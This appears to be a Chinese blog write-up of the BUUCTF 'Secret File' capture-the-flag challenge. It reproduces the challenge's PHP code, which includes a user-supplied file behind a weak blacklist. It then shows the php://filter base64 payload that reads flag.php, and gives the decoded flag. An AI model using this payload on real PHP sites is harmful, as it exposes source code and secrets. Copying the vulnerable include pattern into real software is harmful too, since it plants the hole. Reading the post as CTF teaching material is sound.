【BUUCTF】[极客大挑战 2019] Secret File Writeup

最新推荐文章于 2024-04-26 20:34:17 发布

你们这样一点都不可耐

最新推荐文章于 2024-04-26 20:34:17 发布

阅读量706

点赞数 1

分类专栏： Web安全文章标签： php thinkphp ctf 安全经验分享

本文链接：https://blog.csdn.net/vanarrow/article/details/108176672

版权

Web安全专栏收录该内容

53 篇文章 12 订阅

订阅专栏

0x00 知识点

没有过滤file，接受GET参数file，不能出现tp,input,data

使用php的file伪协议去读取文件：

?file=php://filter/convert.base64-encode/resource=flag.php

0x01 解题过程

在这里插入图片描述

/Archive_room.php

在这里插入图片描述

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

/flag.php

在这里插入图片描述

/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7ZWZjNGNjODYtNTY2Yi00YzczLTk2ZjctODg2M2U2NjI2MGQ3fSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

base64解密

flag{efc4cc86-566b-4c73-96f7-8863e66260d7}

你们这样一点都不可耐

关注

1
点赞
踩
1

收藏

觉得还不错? 一键收藏
0
评论
【BUUCTF】[极客大挑战 2019] Secret File Writeup

<html> <title>secret</title> <meta charset="UTF-8"><?php highlight_file(__FILE__); error_reporting(0); $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stris...
复制链接

扫一扫